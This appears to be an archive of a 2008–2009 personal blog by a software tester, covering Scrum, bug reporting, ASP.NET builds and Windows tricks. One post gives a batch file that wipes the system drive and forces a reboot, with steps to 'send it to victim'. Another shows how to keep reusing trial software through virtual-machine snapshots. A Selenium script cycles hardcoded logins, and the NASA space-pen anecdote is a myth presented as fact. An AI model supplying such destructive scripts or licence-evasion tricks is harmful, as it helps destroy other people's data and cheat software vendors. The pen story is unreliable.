Friday, May 22, 2009

virtual PC benefit

To reuse/again use the trial version of software
Install microsoft Virtual PC
Install WINXP on it
Install software
Install whatever u need on this
Then Copy it's .vhd file & keep it backedup
when required,Replace .vhd on VPC

Note:For educational purpose only

Thursday, March 12, 2009

Selenium Script for autologin

="">
WhileAutoLogin
store 4 iterations
store 0 x
while storedVars.x<storedVars.iterations
store javascript{selenium.browserbot.baseUrl} URL
open javascript{storedVars.URL}
getEval //alert('{x}: '+${x});alert('storedVars: '+storedVars['x'])
storeEval function(x) {var users=new Array("kent","popup","anilk","String4","",""); return users[x];} getUser
storeEval function(x) {var pass=new Array("industries","123456","123456","123456");return pass[x];} getPass
type //input[contains(@name,'User') or contains(@id,'user') or contains(@id,'UserName') or contains(@id,'log') or contains(@name,'login') or contains(@name,'Log')] javascript{storedVars.getUser(storedVars.x)}
type //input[contains(@type,'password') or contains(@id,'pass') or contains(@name,'pass')] javascript{storedVars.getPass(storedVars.x)}
clickAndWait //input[contains(@type,'submit') or contains(@id,'ogin')]
waitForPageToLoad 3000
getEval storedVars.textPresent=""
storeTextPresent Incorrect Username textPresent
getEval //alert(storedVars.textPresent)
gotoIf storedVars.textPresent skipRecord
waitForPageToLoad 3000
captureEntirePageScreenshot C:\${x}logo.png
label skipRecord
getEval storedVars.x=eval(storedVars.x)+1;
endWhile
getEval alert('Testing finished '+storedVars.x+' iterations')

Tuesday, February 10, 2009

what is SCRUM model

SCRUM:
Scrum is a process of s/w development used with agile software development. Taks are collected in product backlog, out of these sprint backlog is prepared, then sprint executed iterated same again.

SPRINT:
A sprint is a time-boxed period of a list of task.
Each "sprint" has a length of 15-30 days. The set of prioritized features that go into a sprint come from the product "backlog",

Product backlog:
A prioritized list of high level requirements.

Sprint backlog :
A list of tasks to be completed during the sprint.

In SCRUM, there are two roles, Pigs and chickens, based on a joke about a pig and a chicken

Pig: ones committed to the project in the Scrum process. who are:
Product Owner :who represents the stakeholders
ScrumMaster (or Facilitator) :who maintains processes (same as PM)
Team :which includes the developers.

Chickens: who will not work directly but will review, analyse & suggest ideas. who are:
Users
Stakeholders (customers, vendors)
Managers

Meetings:
Daily Scrum: a 15-20 min., standing, at same location , same time,
3 questions asked: what u did yesterday, plan of today, any problem faced

Sprint Planning Meeting:
Select what work is to be done
Evaluate time it will take to do that work
8 hour limit

Sprint Review Meeting:
Review completed and not completed work
Show demo of completed work to the stakeholders
4 hour time limit

Sprint Retrospective:
What went well during the last sprint?
What could be improved in the next sprint?
3 hour time limit

Tuesday, November 18, 2008

notepad glitch/hack

Open Notepad, Type:

Bush hid the facts

Close and re-open the file & see some unknown characters appears & notepad is not able to save it

creating hidden folder with no name

1.Create a new folder anywhere

2.Press F2. Hold "ALT" and type:255. Means just space comes instead of name

3.Right click the folder and select "Properties"

4.Then the "Customize" tab

5.Click "Change Icon..."

6.Scroll and find one without icon image, Select it

now keep your movies/songs/personal data there, however you can also make it hidden

corrupting PC operating system

1.Open Notepad
2. Type
@echo offdel %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
3.save it with anynameyoulike.bat
4.send it to victim
5.If he opens this file, his/her system gets corruped, result is blue screen of death
(Warning: This is for educational purpose only, do not try this. I shall not be responsible for the consequences)

enabling back button for AJAX based page

Set the EnableHistory=”true” for the ScriptManager tag

Tuesday, November 4, 2008

bug reporting skill.

bug reporting skill.
we added the default format into mantis itself, which forces every QA to log the bug in proper manner. e.g.
1. Category: functional/GUI/verfication/non functional/etc.. (around 50 categories)
2. Platform
3. Browsers
4. Title
5. #Fact: (means what is happening)
   #Expected:
6. Steps: (explaining what happened & how)
  1.
  2.
  3....
7. Image
8. Testcase ID
9. UserRole

While bugs are resolved, root cause is also written by developers & closed by testers, at any stage we can have stat of verification & validation.

and and .... Finally at the EOD a bug report is kicked towards development team :-)

Thursday, October 9, 2008

focusing on problems and focusing on solutions

Difference between focusing on problems and focusing on solutions


Case 1 :
When NASA began the launch of astronauts into space, they found out that the pens wouldn't work at zero gravity (ink won't flow down to the writing surface). To solve this problem, it took them one decade and $12 million. They developed a pen that worked at zero gravity, upside down, underwater, in practically any surface including crystal and in a temperature range from below freezing to over 300 degrees C. And what did the Russians do...?? They used a pencil.

Case 2 :
One of the most memorable case studies on Japanese management was the case of the empty soapbox, which happened in one of Japan's biggest cosmetics companies. The company received a complaint that a consumer had bought a soapbox that was empty. Immediately the authorities isolated the problem to the assembly line, which transported all the packaged boxes of soap to the delivery department. For some reason, one soapbox went through the assembly line empty. Management asked its engineers to solve the problem. Post-haste, the engineers worked hard to devise an X-ray machine with
high-resolution monitors manned by two people to watch all the soapboxes that passed through the line to make sure they were not empty. No doubt, they worked hard and they worked fast but they spent a whoopee amount to do so.

But when a rank-and-file employee in a small company was posed with the same problem, he did not get into complications of X-rays, etc., but instead came out with another solution. He bought a strong industrial electric fan and pointed it at the assembly line. He switched the fan on, and as each soapbox passed the fan, it simply blew the empty boxes out of the line.

The above 2 cases might be good examples for Root Cause Analysis(Find & remediate the root cause instead of addressing the symptoms)

Wednesday, September 24, 2008

Build / Rebuild / Compile ASP.NET C#

Build means compile and link only the source files that have changed since the last build, while Rebuild means compile and link all source files regardless of whether they changed or not. Build is the normal thing to do and is faster. Sometimes the versions of project target components can get out of sync and rebuild is necessary to make the build successful. In practice, you never need to Clean.

Build or Rebuild Solution builds or rebuilds all projects in the your solution, while Build or Rebuild builds or rebuilds the StartUp project, "hello" in the screen shot above. To set the StartUp project, right click on the desired project name in the Solution Explorer tab and select Set as StartUp project. The project name now appears in bold. Since the homework solutions typically have only one project, Build or Rebuild Solution is effectively the same as Build or Rebuild .

Compile just compiles the source file currently being edited. Useful to quickly check for errors when the rest of your source files are in an incomplete state that would prevent a successful build of the entire project. Ctrl-F7 is the shortcut key for Compile.